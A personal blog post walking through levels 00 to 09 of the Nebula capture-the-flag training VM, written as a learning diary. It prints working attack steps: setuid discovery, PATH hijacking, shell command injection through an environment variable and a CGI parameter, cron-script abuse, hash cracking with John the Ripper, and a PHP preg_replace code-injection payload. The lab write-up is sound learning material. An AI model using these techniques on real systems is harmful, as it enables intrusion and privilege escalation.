Security Challenge – Week 3
Just as a heads-up, this week’s post is pretty long, and includes some spoilers for anyone who might be interested in trying out the Nebula CTF VM.
Oct. 9: Read for 30 minutes. Happy Thanksgiving!
Oct. 10: Downloaded the ICTF Framework CTF from GitHub. Not a lot of instructions on how to set up. With a bit of digging, discovered that the whole thing gets kicked off with a Python script, and that the base VMs are downloaded from their site. Unfortunately, the links all appear to be broken. Emailed the project owner to see if I can get an update link.
Downloaded the Nebula ISO from Exploit Exercises, since it’s indicated that this is the introductory one. All of the challenges associated with this VM can be found here: Nebula Exercises. Since there are effectively no instructions for setup, created a VirtualBox VM using Generic Linux 2.6 64-bit, and booted from the ISO. The boot menu provides several options:
- Live – Boot the Live System
- xforcevesa – boot Live in safe graphics mode
- install – start the Installer directly
- memtest – Run memtest
- hd – boot the first hard disk
Since I’m looking for a persistent setup, I chose install. Looks like the VM is based on Ubuntu 11.10, at least based on boot screen and login prompt. Seems to be up and running; I tried logging in with root:password, didn’t work. Realized I forgot to configure NIC to Host-Only; once change was made, restarted VM from VirtualBox controls. Tried removing the ISO
“disk”, but was then unable to boot. Best guess, install didn’t take place. Since I know which version of Linux was likely used to build the ISO, rebuilt the VM. Install still doesn’t seem to have taken place, so I guess Live CD is the way to go. Restarted VM in Live CD mode.
Restarted my Kali Linux VM, and started out by trying to track down the Nebula VM. Used NetDiscover, with no switches, and was able to find the Nebula machine. As per the instructions, logged in to the Nebula VM with level00:level00. The challenge is as follows:
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
I have a set of usable credentials, so I used SSH to get in to the Nebula VM from my Kali VM. I could use the Find command, but I was curious to see what they were hinting at when the mentioned “suspicious looking directories”. Tried to get in to the “root” directory using sudo, but my User ID isn’t part of the Sudoers file. The VM states that “this incident will be reported.” Might be interesting to see if/where that happens within the VM. Anyway, nothing particularly stands out about /, so the next step is to use find.
To start with, I’m assuming that the file I’m looking for is already owned by flag00. For those unfamiliar, here’s the find man page link. The simplest way I can think of looking up the files is to use the following command
find / -perm -4000 2> /dev/null
Here’s how this command breaks down. The -perm switch, followed by -4000, tells the find command to look for all files that have all 4 permission bits set, and that they are set to setuid. Side note: Here’s a handy Unix permissions calculator! This command gives us a big list, but it doesn’t give us much context. So, refining the command, we’re going to pipe the results to xargs, which allows us to send the raw stream to the ls command. ls is a pretty basic tool, but still critical for being able to make sense of file listings. Tried the following command:
find / -perm -4000 2> /dev/null | xargs ls -lh
Now we have a long list of files, as well as who owns them and their size! Most of the files are owned by root, but there’s a couple here that are owned by level00…and one of them is labelled flag00.
/bin/…/flag00
Seems likely to be the target. This is most likely a script of some sort, but let’s see:
tail /bin/.../flag00
Whoa, a bunch of non-printable characters, but in there is the text “congrats, now run getflag to get your flag”. That would seem to suggest a script, so time to run it:
/bin/.../flag00
Got the message I found in the script, so I followed it’s instructions:
getflag
This puts you in to another console: flag00. The console returns the message “You have successfully executed getflag on a target account.” Nice, Level 00 complete! Time to move to Level 01:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.
After SSHing in using the level01 account, I navigated to the /home/flag01 directory. Sure enough, there’s the script. Without digging in to the script, I just ran it, and got this result:
and now what?
A listing of the files and their attributes shows that the script is owned by flag01, and the group level01, and that it has the same permissions as the file in Level 00. Looking at the script, it outputs that text using the following command:
system("/usr/bin/env echo and now what?");
According to the man page for env, this command allows some other command (or script) to run in a modified environment. This is usually used to make sure that, no matter where a script is, it can access certain resources, like when calling a language interpreter or a library. That means, it’s using the path variables. By adding a directory to the path variable, it should allow me to execute echo as something other than the built-in echo command. Side note: There’s some really good, detailed information about PATH over at linfo.org.
PATH=/tmp:$PATH export PATH echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
The script should now look in /tmp before it looks anywhere else, for the echo command. Great! Now, we need our own echo command. Instead of making a separate copy, going to use a symbolic link to the original, using the ln command. Since we know this machine is using a bash script, echo should be in /bin/bash.
ln -s /bin/bash/echo /tmp/echo
Then run the flag01 script and…exactly the same output. Expected, since we’re pointing at the real echo anyway. Good. Now, we know that we can use a symbolic link to point somewhere, and we happen to know that getflag is it’s own console, so let’s try linking there instead.
rm /tmp/echo ln -s /bin/getflag /tmp/echo
Run the flag01 script again, and…success! Time to try Level 02.
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.
Log in to level02 with SSH, and sure enough, the flag02 script is in the directory. Running the script, it outputs a line which says:
about to call system("/bin/echo level02 is cool")
This feels like a hint, since there’s no obvious value to the user to provide this information. A similar answer to Level 01’s challenge seems appropriate. Looking at the script, the line prior to the one that writes out that weird statement includes a call to the environment variable USER. Tried the following:
USER=;/bin/getflag;echo
Which gave me this response:
getflag is executing on a non-flag account, this doesn't count
Doh! So much for that. Wait..forgot something!
export USER=";getflag;" echo $USER ;getflag;
Zing! Success!
Oct. 11: Time for Level 3!
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.
After logging in via SSH, navigated to the directory in the instructions, and ran ls -la.
total 6 drwxr-x--- 3 flag03 level03 103 2011-11-20 20:39 . drwxr-xr-x 1 root root 120 2012-08-27 07:18 .. -rw-r--r-- 1 flag03 flag03 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag03 flag03 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag03 flag03 675 2011-05-18 02:54 .profile drwxrwxrwx 2 flag03 flag03 3 2012-08-18 05:24 writable.d -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh
Interesting. A script, and a subdirectory that is globally writeable. Let’s see what’s inside the directory.
total 0 drwxrwxrwx 2 flag03 flag03 3 2012-08-18 05:24 . drwxr-x--- 3 flag03 level03 103 2011-11-20 20:39 ..
Ok, the directory is empty. Now, let’s take a look at the script.
#!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
The instructions say that a crontab is called every couple of minutes. My guess is, the crontab calls this script. Unfortunately, while I can get as far down as /var/spool/cron, I can’t get down to the crontabs folder. I also don’t have permissions to use the -u switch on crontab, and tailing crontab in /etc doesn’t give me anything useful in this case. So, this means I can’t tinker with the cron itself, but that’s probably not an issue.
So, we need a script that, when the cron process picks it up, runs the getflag script.
#!/bin/sh echo "This is a test"
While I didn’t get the echo, I DID get something interesting – the file was deleted, which I actually expected based on the line in the cron script, which removes whatever file gets executed. In a secure environment, this would potentially help cover the tracks of the attacker. The simplest script would simply be to run getflag.
#!/bin/sh getflag > /home/flag03/level3.txt
After a couple of minutes, the script dissapeared from writable.d, so I went up a directory, and there’s my text file with “You have successfully executed getflag on a target account.” Nice!
Level 04 is pretty light on instructions, but includes some source code for a script.
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
Once in, the folder does indeed have the script, and the token file. The permissions for the token file are set to read/write only for the owner user, and can’t be changed (yes, I tried). Ok, the next thing to do is dig in to the script. Running the script returns
./flag04 [file to read]
which would seem to indicate that it takes a file as input. Of course, it doesn’t take token (no surprise, that wouldn’t be much of a challenge). Looking at the source, it looks like it’s checking for that particular argument, in order to block it. What I need here is a symbolic link, which points to token, but isn’t labelled as “token”. Can’t do it in /home/flag04, but I can do it level04’s home directory
level04@nebula:~$ ln -s /home/flag04/token crack level04@nebula:~$ /home/flag04/flag04 crack 06508b5e-8909-4f38-b630-fdb148a848a2
Level 04 complete! On to Level 05:
Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.
Interesting! Even less instructions. A listing of /home/flag05 shows a directory called .backup, with 755 permissions. Inside the directory, there’s a file labelled “backup-19072011.tgz”, with 664 permissions. Tried extracting using the tar command, with verbose logging to try and catch any errors:
tar -xvzf backup-19072011.tgz .ssh/ tar: .ssh: Cannot mkdir: Permission denied .ssh/id_rsa.pub tar: .ssh: Cannot mkdir: Permission denied tar: .ssh/id_rsa.pub: Cannot open: No such file or directory .ssh/id_rsa tar: .ssh: Cannot mkdir: Permission denied tar: .ssh/id_rsa: Cannot open: No such file or directory .ssh/authorized_keys tar: .ssh: Cannot mkdir: Permission denied tar: .ssh/authorized_keys: Cannot open: No such file or directory tar: Exiting with failure status due to previous errors
Right, makes sense – can’t write to this directory. But I CAN write to my own home directory.
tar -xvzf /home/flag05/.backup/backup-19072011.tgz -C ~/copyback/ .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
Neat! After copying the files to my user’s .ssh directory, time to fire up an SSH session:
ssh localhost -l flag05 The authenticity of host 'localhost (127.0.0.1)' can't be established. ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts. _ __ __ __ / | / /__ / /_ __ __/ /___ _ / |/ / _ \/ __ \/ / / / / __ `/ / /| / __/ /_/ / /_/ / / /_/ / /_/ |_/\___/_.___/\__,_/_/\__,_/ exploit-exercises.com/nebula For level descriptions, please see the above URL. To log in, use the username of "levelXX" and password "levelXX", where XX is the level number. Currently there are 20 levels (00 - 19). Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686) * Documentation: https://help.ubuntu.com/ New release '12.04 LTS' available. Run 'do-release-upgrade' to upgrade to it. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. flag05@nebula:~$ getflag You have successfully executed getflag on a target account
Winner winner, chicken dinner. Time for Level 06!
The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.
Hmm. This sounds familiar, but I can’t remember the significance. I’ll start by looking at the /etc/passwd. Something interesting here:
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Oh right, old-style Unix accounts stored the hash in here, instead of in /etc/shadow. It’s been a long time since I’ve used any sort of tool like this (probably since I was in my college security classes!), but I remember John The Ripper being pretty good, and it’s installed on Kali.
scp level06@192.168.224.2:/etc/passwd ~/ _ __ __ __ / | / /__ / /_ __ __/ /___ _ / |/ / _ \/ __ \/ / / / / __ `/ / /| / __/ /_/ / /_/ / / /_/ / /_/ |_/\___/_.___/\__,_/_/\__,_/ exploit-exercises.com/nebula For level descriptions, please see the above URL. To log in, use the username of "levelXX" and password "levelXX", where XX is the level number. Currently there are 20 levels (00 - 19). level06@192.168.224.2's password: passwd 100% 2604 1.9MB/s 00:00 root@kali:~# john passwd Using default input encoding: UTF-8 Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16]) Press 'q' or Ctrl-C to abort, almost any other key for status hello (flag06) 1g 0:00:00:00 DONE 2/3 (2017-10-11 12:56) 20.00g/s 15000p/s 15000c/s 15000C/s 123456..marley Use the "--show" option to display all of the cracked passwords reliably Session completed
So, flag06’s password is hello. Hilariously realistic! Got the flag, so on to Level 07.
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.
In the directory are two files of interest: thttpd.conf, and index.cgi. The conf file is read-only, so no luck in tinkering with it’s settings. Let’s see what happens when I access the perl script from a remote machine (my Kali box) from a web browser:
Looks like it expects some parameters. Let’s give it something:
Alrighty, looks like the command runs just fine. The script doesn’t seem to do anything to check the input from the “Host” parameter, so let’s see what else we can do. Looks like it doesn’t accept anything helpful from a remote browser, but maybe it’ll give up something in the console.
./index.cgi Host=;ls -lh Content-type: text/html <html><head><title>Ping results</title></head><body><pre>Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface] [-M pmtudisc-hint] [-m mark] [-S sndbuf] [-T tstamp-options] [-Q tos] [hop1 ...] destination </pre></body></html>total 4.5K -rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi -rw-r--r-- 1 root root 3.7K 2011-11-20 21:22 thttpd.conf
Now that’s something – ending the ping command with a semicolon, then feeding it something else. Hmm, maybe that’s why I didn’t get anything useful from the browser. I used the escape value for the space in ls -lh, but I didn’t for the semicolon. A quick google search, and it looks like I need %3B.
Ok, so that works. Since the web server is running under flag07’s user (checked with ps -aux | grep thttpd), this should work.
Bingo! On to Level 08.
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.
Hmm, sounds like they want me to use history; ironically, I used this in one of the early challenges, just to see if they’d left anything interesting behind there (they hadn’t). Nope, never mind. However, there’s something interesting in the flag08 folder: a pcap file! I couldn’t remember how to read these in any reasonable way, so to the Google I go! Found something useful on ServerFault. Had to put the rest of the level on hold for the day.
Oct. 12: Used scp to copy the file from Nebula to my Kali VM, then used the command I came across on ServerFault yesterday.
tcpick -C -yP -r capture.pcap Starting tcpick 0.2.1 at 2017-10-12 08:31 EDT Timeout for connections is 600 tcpick: reading from capture.pcap 1 SYN-SENT 59.233.235.218:39247 > 59.233.235.223:12121 1 SYN-RECEIVED 59.233.235.218:39247 > 59.233.235.223:12121 1 ESTABLISHED 59.233.235.218:39247 > 59.233.235.223:12121 ..% ..% ..&..... ..#..'..$ ..&..... ..#..'..$ .. .....#.....'......... .. .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.. ........"........! ........"..".....b........b.... B. ..............................1.......! ..".... ..".... ..!..........." ........" .."............. .. ..................... Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10) ..wwwbugs login: l .l e .e v .v e .e l .l 8 .8 . . Password: b a c k d o o r . . . 0 0 R m 8 . a t e . . . Login incorrect wwwbugs login: 1 FIN-WAIT-1 59.233.235.218:39247 > 59.233.235.223:12121 1 TIME-WAIT 59.233.235.218:39247 > 59.233.235.223:12121 1 CLOSED 59.233.235.218:39247 > 59.233.235.223:12121 tcpick: done reading from capture.pcap 95 packets captured 1 tcp sessions detected
Hmm…password, you say? Not for the same account, but still, that seems potentially useful. Or not…
flag08@192.168.224.2's password: Permission denied, please try again.
Weird. backdoor would seem to be the password…but then, there’s those other characters. What does that mean? Tried putting all those characters in, but no dice. Maybe a different tool will help. Fired up Wireshark, and…well, on first glance, it doesn’t give me what I need. BUT, after poking around in the tool for a bit, I came across Analyze>Follow>TCP Stream, which gave me a similar result to tcpick. Started poking around in the options, and it crossed my mind – this is probably a live recording of key presses, so those dots might be something else. Switched the Show and Save data option to Hex Dump, and most of the dots in the password are a hex value of 7f. According to this ASCII character chart, that’s delete. So, they typed “backdoor”, then deleted 3 characters and typed “00Rm8”, then deleted another character and replaced it with “ate”. That gives us backd00Rmate.
flag08@nebula:~$ getflag You have successfully executed getflag on a target account
Success! On to Level 09.
There’s a C setuid wrapper for some vulnerable PHP code…
To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
The code challenges are definitely harder for me than the other ones – I’m not a developer by trade, so it’s a bit of guesswork and research for me. After passing in a couple of test values, not really getting anywhere. Time to break for the day.
Oct. 13: Looking at the script with fresh eyes was definitely a good idea. I realized, the script take a filename as an argument. There’s also a second argument, called “use_me”, but it doesn’t get called anywhere in the script, so I think it’s a red herring.
Created a text file with an email address in it, and ran the script against it.
./flag09 ~/test.txt PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22 pong AT matthewmiddleton dot ca
Weird, what’s going on in line 22? It’s got 2 arguments, maybe I have to use use_me?
./flag09 ~/test.txt use_me pong AT matthewmiddleton dot ca
Ok, that’s got it. Great, it makes email addresses harder for scrapers to pick up the address for spammers. How can I leverage that? After spending an hour or two trying to figure this one out, I succumbed to the temptation and started looking for guides for this level. This one gave me the solution; I agree with the author, this one seems like a pretty big leap from the previous levels. Ah well, it kinda makes sense in the end. I used the author’s solution, and got something different, but close to, their answer:
./flag09 ~/test.txt getflag
PHP Parse error: syntax error, unexpected T_VARIABLE in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
spam(“{${system()$use_me}}”) in /home/flag09/flag09.php on line 15
level09@nebula:/home/flag09$ vi ~/test.txt
level09@nebula:/home/flag09$ ./flag09 ~/test.txt getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
Wow, that one was a lot harder than I expected. On to Level 10.
Oct. 14-15: Read “Network Security Assessment” for 30 minutes each day.
Leave a Reply